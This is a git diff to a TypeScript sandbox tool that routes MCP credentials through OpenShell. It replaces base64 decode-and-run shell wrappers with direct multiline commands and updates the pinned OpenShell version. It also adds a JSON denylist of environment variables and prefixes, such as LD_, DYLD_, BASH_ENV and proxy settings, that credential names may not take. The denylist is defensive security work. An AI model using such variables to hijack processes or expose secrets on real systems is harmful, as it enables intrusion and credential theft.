diff --git a/src/lib/actions/sandbox/mcp-bridge-provider-readiness.ts b/src/lib/actions/sandbox/mcp-bridge-provider-readiness.ts
index 946054a0e0..5b7d1a2d66 100644
--- a/src/lib/actions/sandbox/mcp-bridge-provider-readiness.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-provider-readiness.ts
@@ -25,17 +25,10 @@ function executeMcpCredentialProofCommand(
   sandboxName: string,
   command: string,
 ): ReturnType<typeof executeSandboxExecCommand> {
-  // OpenShell current main rejects CR/LF in each sandbox-exec argv element.
-  // Transport the proof as base64 so the `sh -c` argument remains one line;
-  // the decoded script still runs only inside the sandbox and contains no raw
-  // credential value.
-  const encodedCommand = Buffer.from(command, "utf8").toString("base64");
-  const transportCommand = [
-    "command -v base64 >/dev/null 2>&1 || { echo NEMOCLAW_BASE64_MISSING >&2; exit 127; }",
-    `decoded="$(printf '%s' '${encodedCommand}' | base64 -d)" || exit 1`,
-    `printf '%s' "$decoded" | sh`,
-  ].join("; ");
-  return executeSandboxExecCommand(sandboxName, transportCommand, undefined, {
+  // OpenShell preserves the proof as one multiline command argument. The
+  // script classifies placeholder shape/revision only and never prints a raw
+  // credential value or writes sandbox state.
+  return executeSandboxExecCommand(sandboxName, command, undefined, {
     allowLocalDockerFallback: false,
   });
 }
diff --git a/src/lib/actions/sandbox/mcp-bridge-provider.test.ts b/src/lib/actions/sandbox/mcp-bridge-provider.test.ts
index 05be966a37..e3d3a0bc46 100644
--- a/src/lib/actions/sandbox/mcp-bridge-provider.test.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-provider.test.ts
@@ -18,11 +18,6 @@ import {
 } from "./mcp-bridge-provider";
 import * as processRecovery from "./process-recovery";
 
-function decodeMcpProofTransport(command: string): string {
-  const match = command.match(/printf '%s' '([A-Za-z0-9+/=]+)' \| base64 -d/);
-  return match?.[1] ? Buffer.from(match[1], "base64").toString("utf8") : "";
-}
-
 describe("OpenShell MCP provider state", () => {
   afterEach(() => {
     vi.restoreAllMocks();
@@ -159,15 +154,13 @@ alpha-mcp-slack   generic  1                 0
       }),
     ).toBe("v11");
     const proofCommand = exec.mock.calls[0]?.[1] ?? "";
-    expect(proofCommand).not.toMatch(/[\r\n]/);
-    expect(proofCommand).toContain("base64 -d");
-    expect(decodeMcpProofTransport(proofCommand)).toContain("GITHUB_TOKEN");
-    expect(decodeMcpProofTransport(proofCommand)).not.toMatch(/\/tmp|snapshot/);
+    expect(proofCommand).toContain("\n");
+    expect(proofCommand).toContain("GITHUB_TOKEN");
+    expect(proofCommand).not.toMatch(/\/tmp|snapshot/);
+    expect(proofCommand).not.toContain("base64 -d");
     expect(exec).toHaveBeenCalledWith("alpha", proofCommand, undefined, {
       allowLocalDockerFallback: false,
     });
-    const decodeFailure = spawnSync("/bin/sh", ["-c", proofCommand.replace("base64 -d", "false")]);
-    expect(decodeFailure.status).not.toBe(0);
 
     exec.mockReturnValue({ status: 0, stdout: "raw-secret", stderr: "" });
     expect(() =>
@@ -185,7 +178,7 @@ alpha-mcp-slack   generic  1                 0
     ).toThrow(/Could not observe the current OpenShell credential revision/);
   });
 
-  it("uses a newline-free OpenShell transport for attachment readiness", () => {
+  it("uses native multiline OpenShell exec for attachment readiness", () => {
     const exec = vi.spyOn(processRecovery, "executeSandboxExecCommand").mockReturnValue({
       status: 0,
       stdout: "canonical",
@@ -205,9 +198,10 @@ alpha-mcp-slack   generic  1                 0
     });
 
     const proofCommand = exec.mock.calls[0]?.[1] ?? "";
-    expect(proofCommand).not.toMatch(/[\r\n]/);
-    expect(decodeMcpProofTransport(proofCommand)).toContain("valid_placeholder");
-    expect(decodeMcpProofTransport(proofCommand)).toContain("GITHUB_TOKEN");
+    expect(proofCommand).toContain("\n");
+    expect(proofCommand).toContain("valid_placeholder");
+    expect(proofCommand).toContain("GITHUB_TOKEN");
+    expect(proofCommand).not.toContain("base64 -d");
   });
 
   it("fails detach verification when the strict OpenShell exec is unavailable", () => {
@@ -230,8 +224,8 @@ alpha-mcp-slack   generic  1                 0
     ).toThrow(/did not confirm credential 'GITHUB_TOKEN' was revoked/);
 
     const proofCommand = exec.mock.calls[0]?.[1] ?? "";
-    expect(proofCommand).not.toMatch(/[\r\n]/);
-    expect(decodeMcpProofTransport(proofCommand)).toContain("GITHUB_TOKEN+x");
+    expect(proofCommand).toContain("GITHUB_TOKEN+x");
+    expect(proofCommand).not.toContain("base64 -d");
     expect(exec).toHaveBeenCalledWith("alpha", proofCommand, undefined, {
       allowLocalDockerFallback: false,
     });
diff --git a/src/lib/actions/sandbox/mcp-bridge-resolution-probe.test.ts b/src/lib/actions/sandbox/mcp-bridge-resolution-probe.test.ts
index 7592d7121e..dc461683db 100644
--- a/src/lib/actions/sandbox/mcp-bridge-resolution-probe.test.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-resolution-probe.test.ts
@@ -228,6 +228,20 @@ describe("MCP credential-resolution probe classification", () => {
     expect(probe.detail).toContain("CONNECT 403");
   });
 
+  it("classifies a CONNECT-level proxy 503 as unavailable TLS termination (#6379)", () => {
+    const probe = classifyCredentialResolutionProbe(
+      {
+        status: 0,
+        stdout: probeStdout({ curlExit: 56 }),
+        stderr: "curl: (56) CONNECT tunnel failed, response 503",
+      },
+      baseEntry,
+    );
+    expect(probe.ok).toBeNull();
+    expect(probe.detail).toContain("CONNECT 503");
+    expect(probe.detail).toContain("ephemeral CA initialization");
+  });
+
   it("classifies curl exit 28 as an indeterminate probe timeout (#6379)", () => {
     const probe = classifyCredentialResolutionProbe(
       { status: 0, stdout: probeStdout({ curlExit: 28 }), stderr: "" },
diff --git a/src/lib/actions/sandbox/mcp-bridge-resolution-probe.ts b/src/lib/actions/sandbox/mcp-bridge-resolution-probe.ts
index ccdedd26aa..caf40f3f34 100644
--- a/src/lib/actions/sandbox/mcp-bridge-resolution-probe.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-resolution-probe.ts
@@ -269,6 +269,9 @@ function transportDetail(curlExit: number, stderr: string): string | undefined {
   if (curlExit === 56 && /CONNECT tunnel failed,\s*response 403/i.test(stderr)) {
     return "OpenShell denied the probe connection (CONNECT 403); check the generated MCP policy";
   }
+  if (curlExit === 56 && /CONNECT tunnel failed,\s*response 503/i.test(stderr)) {
+    return "OpenShell denied the probe before TLS setup (CONNECT 503); check gateway ephemeral CA initialization and TLS termination readiness";
+  }
   if (curlExit === 28) return `probe timed out after ${PROBE_CURL_MAX_TIME_SECONDS}s`;
   return undefined;
 }
diff --git a/src/lib/actions/sandbox/mcp-bridge-runtime-validation.test.ts b/src/lib/actions/sandbox/mcp-bridge-runtime-validation.test.ts
index 842d815b3f..cbd276b019 100644
--- a/src/lib/actions/sandbox/mcp-bridge-runtime-validation.test.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-runtime-validation.test.ts
@@ -5,6 +5,7 @@ import { describe, expect, it } from "vitest";
 
 import {
   assertMcpCredentialBoundaryRuntimeVersion,
+  MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION,
   McpCredentialBoundaryRuntimeVersionError,
 } from "./mcp-bridge-validation";
 
@@ -13,7 +14,7 @@ function matchingOpenshellRuntime() {
     resolveOpenshell: () => "/test/openshell",
     runVersionCommand: () => ({
       status: 0,
-      stdout: "openshell 0.0.72\n",
+      stdout: `openshell ${MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION}\n`,
       stderr: "",
     }),
   };
@@ -46,8 +47,8 @@ describe("MCP credential-boundary runtime validation", () => {
         }),
       });
     const error = captureRuntimeVersionError(mismatch);
-    expect(error.message).toMatch(
-      /expected 0\.0\.72, actual 0\.0\.73 \(version mismatch\)\. Install OpenShell 0\.0\.72, or point NEMOCLAW_OPENSHELL_BIN to that version, then retry\./,
+    expect(error.message).toContain(
+      `expected ${MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION}, actual 0.0.73 (version mismatch). Install OpenShell ${MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION}, or point NEMOCLAW_OPENSHELL_BIN to that version, then retry.`,
     );
     expect(error).toMatchObject({
       actualVersion: "0.0.73",
@@ -60,8 +61,8 @@ describe("MCP credential-boundary runtime validation", () => {
     const error = captureRuntimeVersionError(() =>
       assertMcpCredentialBoundaryRuntimeVersion({ resolveOpenshell: () => null }),
     );
-    expect(error.message).toMatch(
-      /expected 0\.0\.72, actual <missing> \(openshell binary not found\)/,
+    expect(error.message).toContain(
+      `expected ${MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION}, actual <missing> (openshell binary not found)`,
     );
     expect(error).toMatchObject({
       actualVersion: "<missing>",
@@ -124,8 +125,8 @@ describe("MCP credential-boundary runtime validation", () => {
       }),
     };
     const error = captureRuntimeVersionError(() => assertMcpCredentialBoundaryRuntimeVersion(deps));
-    expect(error.message).toMatch(
-      /expected 0\.0\.72, actual <unavailable> \(openshell --version exited with status 23\)/,
+    expect(error.message).toContain(
+      `expected ${MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION}, actual <unavailable> (openshell --version exited with status 23)`,
     );
     expect(error).toMatchObject({
       actualVersion: "<unavailable>",
@@ -145,8 +146,8 @@ describe("MCP credential-boundary runtime validation", () => {
       }),
     };
     const error = captureRuntimeVersionError(() => assertMcpCredentialBoundaryRuntimeVersion(deps));
-    expect(error.message).toMatch(
-      /expected 0\.0\.72, actual <unparseable> \(invalid openshell --version output\)/,
+    expect(error.message).toContain(
+      `expected ${MCP_CREDENTIAL_BOUNDARY_OPENSHELL_VERSION}, actual <unparseable> (invalid openshell --version output)`,
     );
     expect(error).toMatchObject({
       actualVersion: "<unparseable>",
diff --git a/src/lib/actions/sandbox/mcp-bridge-status.ts b/src/lib/actions/sandbox/mcp-bridge-status.ts
index 81ba60bddf..0c092c6a7f 100644
--- a/src/lib/actions/sandbox/mcp-bridge-status.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-status.ts
@@ -52,7 +52,7 @@ export interface McpBridgeJsonSummary {
 // from another inspected route attributed to the same adapter runtime.
 // sourceBoundary: OpenShell owns provider attachment and HTTP rewrite binding;
 // NemoClaw owns the generated least-privilege route and operator diagnostics.
-// whyNotSourceFix: v0.0.72 has no endpoint-exclusive provider attachment or
+// whyNotSourceFix: v0.0.85 has no endpoint-exclusive provider attachment or
 // enforceable Host, scheme, and query binding that NemoClaw can request.
 // regressionTest: mcp-bridge-status-boundaries.test.ts pins this warning and the
 // generated policy tests pin unique keys, explicit methods, and allowed IPs.
diff --git a/src/lib/actions/sandbox/mcp-bridge-url-validation.ts b/src/lib/actions/sandbox/mcp-bridge-url-validation.ts
index 943e66ebde..9206b0b003 100644
--- a/src/lib/actions/sandbox/mcp-bridge-url-validation.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-url-validation.ts
@@ -42,12 +42,12 @@ function rejectUnsupportedOpenShellMcpHostAlias(hostname: string): void {
   // invalidState: a host alias is accepted without an attested gateway address,
   // forcing broad private-range policy instead of an exact destination pin.
   // sourceBoundary: the pinned OpenShell release owns gateway-address discovery.
-  // whyNotSourceFix: v0.0.72 exposes no attested driver gateway address.
+  // whyNotSourceFix: v0.0.85 exposes no attested driver gateway address.
   // regressionTest: URL validation and all three live adapters reject aliases.
   // removalCondition: remove only after a reviewed OpenShell capability exposes
   // an attested address; a future version number alone is not that capability.
   throw new McpBridgeError(
-    `Authenticated MCP OpenShell host alias '${hostname}' is unavailable with OpenShell v0.0.72 because that release does not expose an attested driver gateway address for exact policy pinning. Use a normal HTTPS DNS endpoint with public address records.`,
+    `Authenticated MCP OpenShell host alias '${hostname}' is unavailable with OpenShell v0.0.85 because that release does not expose an attested driver gateway address for exact policy pinning. Use a normal HTTPS DNS endpoint with public address records.`,
     2,
   );
 }
@@ -93,7 +93,7 @@ export function normalizeMcpServerUrl(rawUrl: string): string {
     // invalidState: an IPv6 literal reaches an OpenShell parser that cannot
     // represent and enforce its exact proxy target safely.
     // sourceBoundary: the pinned OpenShell proxy parser owns literal support.
-    // whyNotSourceFix: v0.0.72 does not support this target form.
+    // whyNotSourceFix: v0.0.85 does not support this target form.
     // regressionTest: host/Hermes parity rejects private and public IPv6 literals.
     // removalCondition: remove only with reviewed parser support and parity proof;
     // never infer the capability from semver alone.
@@ -164,7 +164,7 @@ export function normalizeMcpServerUrl(rawUrl: string): string {
 export async function validateMcpServerUrlResolvedTarget(parsed: URL): Promise<string[]> {
   // invalidState: a hostname is public at add time but later rebinds to an
   // unpinned address. sourceBoundary: NemoClaw pins the add-time public answers;
-  // OpenShell v0.0.72 resolves, validates every answer against allowed_ips, and
+  // OpenShell v0.0.85 resolves, validates every answer against allowed_ips, and
   // connects with that same SocketAddr list. whyNotSourceFix: duplicating DNS
   // resolution here before each remote connection would create a second,
   // non-authoritative TOCTOU boundary outside OpenShell's data plane.
diff --git a/src/lib/actions/sandbox/mcp-bridge-validation.ts b/src/lib/actions/sandbox/mcp-bridge-validation.ts
index 34d015da2d..7da0bb0cef 100644
--- a/src/lib/actions/sandbox/mcp-bridge-validation.ts
+++ b/src/lib/actions/sandbox/mcp-bridge-validation.ts
@@ -17,7 +17,7 @@ import { normalizeMcpServerUrl } from "./mcp-bridge-url-validation";
 // must reject a missing or malformed security manifest instead of letting the
 // CLI start with a weakened credential-name denylist. Input, package, image,
 // and workflow contracts pin its structure, installed path, and version.
-import childVisibleCredentialManifest from "./openshell-child-visible-credentials.v0.0.72.json";
+import childVisibleCredentialManifest from "./openshell-child-visible-credentials.v0.0.85.json";
 
 export {
   MCP_SERVER_URL_MAX_LENGTH,
@@ -28,6 +28,7 @@ export {
 
 const VALID_SERVER_RE = /^[A-Za-z][A-Za-z0-9_-]{0,63}$/;
 const VALID_ENV_RE = /^[A-Za-z_][A-Za-z0-9_]{0,127}$/;
+const OPENSHELL_REVISIONED_CREDENTIAL_NAME_RE = /^v[0-9]+_[A-Za-z0-9_]+$/;
 const VALID_SANDBOX_RE = /^[a-z0-9]([a-z0-9-]*[a-z0-9])?$/;
 const OPENSHELL_VERSION_OUTPUT_RE =
   /^openshell\s+([0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/;
@@ -140,7 +141,7 @@ export function assertMcpCredentialBoundaryRuntimeVersion(
 // key and exposes or executes the provider value outside the intended request.
 // sourceBoundary: the versioned JSON manifest pins OpenShell-owned keys to the
 // shipped source commit; NemoClaw owns host and agent runtime-control rejects.
-// whyNotSourceFix: v0.0.72 exposes provider keys to every fresh sandbox exec
+// whyNotSourceFix: v0.0.85 exposes provider keys to every fresh sandbox exec
 // and does not advertise safe credential-name capabilities at runtime.
 // regressionTest: the mcp-bridge-input validation/runtime suites check every
 // pinned and runtime key; package contracts require version alignment.
@@ -178,6 +179,12 @@ export function validateMcpServerName(name: string): void {
 
 export function validateMcpCredentialEnvName(name: string): void {
   validatePersistedMcpCredentialEnvName(name);
+  if (OPENSHELL_REVISIONED_CREDENTIAL_NAME_RE.test(name)) {
+    throw new McpBridgeError(
+      `MCP credential environment name '${name}' is reserved for OpenShell credential revisions and would be skipped instead of attached. Use a dedicated secret name such as MY_SERVICE_MCP_TOKEN.`,
+      2,
+    );
+  }
   if (isSubprocessEnvNameAllowed(name)) {
     throw new McpBridgeError(
       `MCP credential environment name '${name}' is reserved for host subprocess control and could be forwarded outside the provider mutation. Use a dedicated secret name such as MY_SERVICE_MCP_TOKEN.`,
diff --git a/src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.85.json b/src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.85.json
new file mode 100644
index 0000000000..218570c1f2
--- /dev/null
+++ b/src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.85.json
@@ -0,0 +1,109 @@
+{
+  "openshellVersion": "0.0.85",
+  "openshellCommit": "3dee5570a46076a57a3b056f35f35ebc0861ac85",
+  "sources": [
+    "crates/openshell-core/src/google_cloud.rs",
+    "crates/openshell-core/src/provider_credentials.rs",
+    "crates/openshell-core/src/secrets.rs"
+  ],
+  "nemoclawSources": [
+    "src/lib/subprocess-env.ts",
+    "src/lib/actions/sandbox/mcp-bridge-validation.ts",
+    "agents/hermes/mcp-config-transaction.py"
+  ],
+  "rawChildValueKeys": [
+    "GCP_PROJECT_ID",
+    "GOOGLE_CLOUD_PROJECT",
+    "CLOUD_ML_REGION",
+    "GCP_LOCATION",
+    "GCP_SERVICE_ACCOUNT_EMAIL",
+    "GOOSE_PROVIDER",
+    "ANTHROPIC_VERTEX_PROJECT_ID",
+    "VERTEX_LOCATION"
+  ],
+  "rewrittenChildValueKeys": [
+    "GCE_METADATA_HOST",
+    "GCE_METADATA_IP",
+    "METADATA_SERVER_DETECTION"
+  ],
+  "runtimeControlKeys": [
+    "_JAVA_OPTIONS",
+    "ALL_PROXY",
+    "all_proxy",
+    "API_SERVER_KEY",
+    "BASH_ENV",
+    "BASHOPTS",
+    "CDPATH",
+    "CLASSPATH",
+    "CONDA_PREFIX",
+    "CURL_CA_BUNDLE",
+    "DENO_CERT",
+    "DOCKER_HOST",
+    "ENV",
+    "GCONV_PATH",
+    "GIT_SSL_CAINFO",
+    "GIT_SSL_CAPATH",
+    "GLOBIGNORE",
+    "grpc_proxy",
+    "HOME",
+    "HOSTNAME",
+    "HTTP_PROXY",
+    "http_proxy",
+    "HTTPS_PROXY",
+    "https_proxy",
+    "IFS",
+    "KUBECONFIG",
+    "LANG",
+    "LOCPATH",
+    "LOGNAME",
+    "NLSPATH",
+    "NODE_ENV",
+    "NODE_EXTRA_CA_CERTS",
+    "NO_PROXY",
+    "no_proxy",
+    "PATH",
+    "PROMPT_COMMAND",
+    "PS4",
+    "REQUESTS_CA_BUNDLE",
+    "RUST_BACKTRACE",
+    "RUST_LOG",
+    "SHELL",
+    "SHELLOPTS",
+    "SSH_AUTH_SOCK",
+    "SSL_CERT_DIR",
+    "SSL_CERT_FILE",
+    "TEMP",
+    "TERM",
+    "TMP",
+    "TMPDIR",
+    "USER",
+    "VIRTUAL_ENV",
+    "ZDOTDIR"
+  ],
+  "runtimeControlPrefixes": [
+    "DEEPAGENTS_",
+    "DYLD_",
+    "GATEWAY_",
+    "GLIBC_",
+    "GRPC_",
+    "HERMES_",
+    "JAVA_",
+    "JDK_",
+    "LANGCHAIN_",
+    "LANGGRAPH_",
+    "LANGSMITH_",
+    "LC_",
+    "LD_",
+    "MALLOC_",
+    "NEMOCLAW_",
+    "NODE_",
+    "OPENAI_",
+    "OPENCLAW_",
+    "OPENSHELL_",
+    "PERL",
+    "PYTHON",
+    "RUBY",
+    "UV_",
+    "XDG_"
+  ]
+}
diff --git a/src/lib/actions/sandbox/runtime-env.test.ts b/src/lib/actions/sandbox/runtime-env.test.ts
index a84729168a..1897d0149a 100644
--- a/src/lib/actions/sandbox/runtime-env.test.ts
+++ b/src/lib/actions/sandbox/runtime-env.test.ts
@@ -27,6 +27,30 @@ describe("wrapExecCommandWithRuntimeEnv", () => {
     expect(wrapped[5]).not.toMatch(/[\r\n]/);
   });
 
+  it("executes LF, CR, CRLF, quote, and heredoc argv byte-exactly", () => {
+    const payloads = [
+      "line one\nline two",
+      "line one\rline two",
+      "line one\r\nline two",
+      `single ' and double " quotes`,
+      "cat <<'EOF'\nline one\nline 'two'\nEOF",
+    ];
+    const wrapped = wrapExecCommandWithRuntimeEnv([
+      "node",
+      "-e",
+      "process.stdout.write(JSON.stringify(process.argv.slice(1)))",
+      ...payloads,
+    ]);
+
+    const result = spawnSync(wrapped[0], wrapped.slice(1), {
+      encoding: "utf-8",
+      env: { ...process.env },
+    });
+
+    expect(result.status, result.stderr).toBe(0);
+    expect(JSON.parse(result.stdout)).toEqual(payloads);
+  });
+
   it("removes OPENCLAW_GATEWAY_TOKEN from the executed command environment (#6291)", () => {
     const wrapped = wrapExecCommandWithRuntimeEnv([
       "/bin/sh",
diff --git a/src/lib/actions/sandbox/sessions/gateway-rpc-call.test.ts b/src/lib/actions/sandbox/sessions/gateway-rpc-call.test.ts
index 4beb5d6009..4ef4acc0ef 100644
--- a/src/lib/actions/sandbox/sessions/gateway-rpc-call.test.ts
+++ b/src/lib/actions/sandbox/sessions/gateway-rpc-call.test.ts
@@ -89,17 +89,14 @@ describe("callOpenclawGateway", () => {
       "--",
       "bash",
       "-lc",
-      expect.stringContaining("base64 -d | bash -s"),
+      expect.stringContaining("set -e"),
       "nemoclaw-sessions-admin-rpc",
-      expect.stringContaining("data:text/javascript;base64"),
-      expect.any(String),
+      GATEWAY_ADMIN_RPC_SCRIPT,
       "sessions.reset",
       Buffer.from('{"key":"agent:main:main","reason":"reset"}', "utf8").toString("base64"),
     ]);
-    const shellWrapper = String(command?.[7] ?? "");
-    const shellB64 = shellWrapper.match(/printf '%s' '([^']+)'/)?.[1] ?? "";
-    const shell = Buffer.from(shellB64, "base64").toString("utf8");
-    expect(shellWrapper).not.toMatch(/[\n\r]/);
+    const shell = String(command?.[7] ?? "");
+    expect(shell).toContain("\n");
     expect(shell).toContain("node --input-type=module");
     expect(shell).toContain("NEMOCLAW_GATEWAY_RPC_METHOD");
     expect(shell).toContain("NEMOCLAW_GATEWAY_RPC_PARAMS_B64");
@@ -107,7 +104,7 @@ describe("callOpenclawGateway", () => {
     expect(shell).toContain('[ -L "$proxy_env" ]');
     expect(shell).toContain("expected root:444");
     expect(shell).toContain('. "$proxy_env"');
-    const script = Buffer.from(String(command?.[10] ?? ""), "base64").toString("utf8");
+    const script = String(command?.[9] ?? "");
     expect(script).toContain("callGatewayFromCli");
     expect(script).toContain("requireCanonicalGatewayPort");
     expect(script).toContain("url: `ws://127.0.0.1:${port}`");
@@ -143,7 +140,7 @@ describe("callOpenclawGateway", () => {
     expect(result.payload).toMatchObject({ ok: true, key: "agent:main:main" });
   });
 
-  it("sends no multiline OpenShell exec arguments", () => {
+  it("sends the gateway shell and module source byte-exactly as multiline OpenShell arguments", () => {
     captureMock.mockReturnValue(captureResult(0, '{"ok":true,"key":"agent:main:main"}'));
 
     callOpenclawGateway({
@@ -154,7 +151,12 @@ describe("callOpenclawGateway", () => {
 
     const command = (captureMock.mock.calls[0]?.[0] ?? []) as string[];
     expect(command.every((arg) => typeof arg === "string")).toBe(true);
-    expect(command.every((arg) => !/[\n\r]/.test(arg))).toBe(true);
+    expect(command[7]).toBe(buildGatewayAdminRpcShell());
+    expect(command[7]).toContain("\n");
+    expect(command[9]).toBe(GATEWAY_ADMIN_RPC_SCRIPT);
+    expect(
+      command.filter((_, index) => index !== 7 && index !== 9).every((arg) => !/[\n\r]/.test(arg)),
+    ).toBe(true);
   });
 
   it("validates the sourced proxy env file before invoking sessions admin RPC", () => {
@@ -190,7 +192,6 @@ describe("callOpenclawGateway", () => {
           shell,
           "test-shell",
           "throw new Error('node should not run')",
-          "unused",
           "sessions.reset",
           "e30=",
         ],
diff --git a/src/lib/actions/sandbox/sessions/gateway-rpc.ts b/src/lib/actions/sandbox/sessions/gateway-rpc.ts
index f0702a379e..1146ad6ba7 100644
--- a/src/lib/actions/sandbox/sessions/gateway-rpc.ts
+++ b/src/lib/actions/sandbox/sessions/gateway-rpc.ts
@@ -123,24 +123,17 @@ process.stdout.write(JSON.stringify(result));
 process.stdout.write("\\n");
 `.trim();
 
-const GATEWAY_ADMIN_RPC_LOADER = `await import("data:text/javascript;base64," + process.argv[1]);`;
-const GATEWAY_ADMIN_RPC_SCRIPT_B64 = Buffer.from(GATEWAY_ADMIN_RPC_SCRIPT, "utf8").toString(
-  "base64",
-);
-
 export function buildGatewayAdminRpcShell(proxyEnvPath = "/tmp/nemoclaw-proxy-env.sh"): string {
   return `
 set -e
 ${buildTrustedProxyEnvSourceShell(proxyEnvPath)}
-export NEMOCLAW_GATEWAY_RPC_METHOD="$3"
-export NEMOCLAW_GATEWAY_RPC_PARAMS_B64="$4"
-exec node --input-type=module --eval "$1" "$2"
+export NEMOCLAW_GATEWAY_RPC_METHOD="$2"
+export NEMOCLAW_GATEWAY_RPC_PARAMS_B64="$3"
+exec node --input-type=module --eval "$1"
 `.trim();
 }
 
 const GATEWAY_ADMIN_RPC_SHELL = buildGatewayAdminRpcShell();
-const GATEWAY_ADMIN_RPC_SHELL_B64 = Buffer.from(GATEWAY_ADMIN_RPC_SHELL, "utf8").toString("base64");
-const GATEWAY_ADMIN_RPC_SHELL_WRAPPER = `printf '%s' '${GATEWAY_ADMIN_RPC_SHELL_B64}' | base64 -d | bash -s -- "$1" "$2" "$3" "$4"`;
 
 function isSupportedGatewayAdminMethod(method: string): method is GatewayAdminMethod {
   return SUPPORTED_GATEWAY_ADMIN_METHODS.has(method);
@@ -172,10 +165,9 @@ function captureGatewayCall(opts: GatewayCallOptions) {
       "--",
       "bash",
       "-lc",
-      GATEWAY_ADMIN_RPC_SHELL_WRAPPER,
+      GATEWAY_ADMIN_RPC_SHELL,
       "nemoclaw-sessions-admin-rpc",
-      GATEWAY_ADMIN_RPC_LOADER,
-      GATEWAY_ADMIN_RPC_SCRIPT_B64,
+      GATEWAY_ADMIN_RPC_SCRIPT,
       opts.method,
       params,
     ],
diff --git a/src/lib/onboard/compatible-endpoint-smoke.test.ts b/src/lib/onboard/compatible-endpoint-smoke.test.ts
index ac18b7d45e..48e8240104 100644
--- a/src/lib/onboard/compatible-endpoint-smoke.test.ts
+++ b/src/lib/onboard/compatible-endpoint-smoke.test.ts
@@ -381,12 +381,11 @@ JSON
     expect(fs.readFileSync(callFile, "utf-8")).toBe("2");
   });
 
-  it("wraps the script as a base64 decoded temporary shell command", () => {
+  it("passes the native multiline script through the OpenShell command argument", () => {
     const command = buildCompatibleEndpointSandboxSmokeCommand("nvidia/model");
 
-    expect(command).toContain("set -eu");
-    expect(command).toContain("base64.b64decode");
-    expect(command).toContain('sh "$tmp"');
-    expect(command).toContain("trap");
+    expect(command).toBe(buildCompatibleEndpointSandboxSmokeScript("nvidia/model"));
+    expect(command).toContain("\n");
+    expect(command).not.toContain("base64.b64decode");
   });
 });
diff --git a/src/lib/onboard/compatible-endpoint-smoke.ts b/src/lib/onboard/compatible-endpoint-smoke.ts
index 3ee190e9a4..0ddd77ee31 100644
--- a/src/lib/onboard/compatible-endpoint-smoke.ts
+++ b/src/lib/onboard/compatible-endpoint-smoke.ts
@@ -422,18 +422,6 @@ done
   `.trim();
 }
 
-/**
- * Wraps the sandbox smoke script as a one-line command suitable for execution
- * through the existing OpenShell command path.
- */
 export function buildCompatibleEndpointSandboxSmokeCommand(model: string): string {
-  const script = buildCompatibleEndpointSandboxSmokeScript(model);
-  const encoded = Buffer.from(script, "utf8").toString("base64");
-  return [
-    "set -eu",
-    'tmp="$(mktemp)"',
-    "trap 'rm -f \"$tmp\"' EXIT",
-    `python3 -c 'import base64, pathlib, sys; pathlib.Path(sys.argv[1]).write_bytes(base64.b64decode(sys.argv[2]))' "$tmp" ${shellQuote(encoded)}`,
-    'sh "$tmp"',
-  ].join("; ");
+  return buildCompatibleEndpointSandboxSmokeScript(model);
 }
diff --git a/src/lib/onboard/docker-driver-gateway-config-auth-contract.test.ts b/src/lib/onboard/docker-driver-gateway-config-auth-contract.test.ts
index 91f35e4b29..debf43518a 100644
--- a/src/lib/onboard/docker-driver-gateway-config-auth-contract.test.ts
+++ b/src/lib/onboard/docker-driver-gateway-config-auth-contract.test.ts
@@ -10,6 +10,7 @@ import { describe, expect, it } from "vitest";
 import {
   DOCKER_DRIVER_GATEWAY_JWT_TTL_SECS,
   GATEWAY_AUTH_REVIEW_NOTE,
+  GATEWAY_MIGRATION_REVIEW_NOTE,
   jwtBundlePaths,
   mintOpenShellStyleSandboxJwt,
   parseTomlInteger,
@@ -21,6 +22,7 @@ import {
 describe("docker-driver-gateway auth contract", () => {
   it("keeps the OpenShell gateway auth source review aligned with the generated config", () => {
     const compatibilityReview = fs.readFileSync(GATEWAY_AUTH_REVIEW_NOTE, "utf-8");
+    const migrationReview = fs.readFileSync(GATEWAY_MIGRATION_REVIEW_NOTE, "utf-8");
     const inheritedAuthReview = fs.readFileSync(
       path.join(path.dirname(GATEWAY_AUTH_REVIEW_NOTE), "openshell-0.0.71-gateway-auth-review.mdx"),
       "utf-8",
@@ -42,6 +44,10 @@ describe("docker-driver-gateway auth contract", () => {
     expect(compatibilityReview).toContain("_provider_*");
     expect(compatibilityReview).toContain("protocol: mcp");
     expect(compatibilityReview).toContain("protocol: json-rpc");
+    expect(migrationReview).toContain("3dee5570a46076a57a3b056f35f35ebc0861ac85");
+    expect(migrationReview).toContain(
+      "sha256:f4226253a3525c3832adac5b38b419a0f27d1e915effe565b5885e20f93cd5e9",
+    );
 
     expect(inheritedAuthReview).toContain("openshell_server::config_file::load()");
     expect(inheritedAuthReview).toContain("allow_unauthenticated_users");
@@ -62,7 +68,7 @@ describe("docker-driver-gateway auth contract", () => {
     expect(inheritedAuthReview).toContain("valid sandbox JWT access from Docker origin");
   });
 
-  it("emits an OpenShell 0.0.72-compatible sandbox JWT bundle and TTL contract", () => {
+  it("emits an OpenShell 0.0.85-compatible sandbox JWT bundle and TTL contract", () => {
     const stateDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-gateway-config-"));
     try {
       const env = writeGatewayConfig(stateDir);
@@ -160,7 +166,7 @@ describe("docker-driver-gateway auth contract", () => {
     }
   });
 
-  it("emits the complete OpenShell 0.0.72 gateway auth TOML schema", () => {
+  it("emits the complete OpenShell 0.0.85 gateway auth TOML schema", () => {
     const stateDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-gateway-config-"));
     try {
       const env = writeGatewayConfig(stateDir);
diff --git a/src/lib/onboard/docker-driver-gateway-runtime.test.ts b/src/lib/onboard/docker-driver-gateway-runtime.test.ts
index f5ae835732..1e8c5ae49d 100644
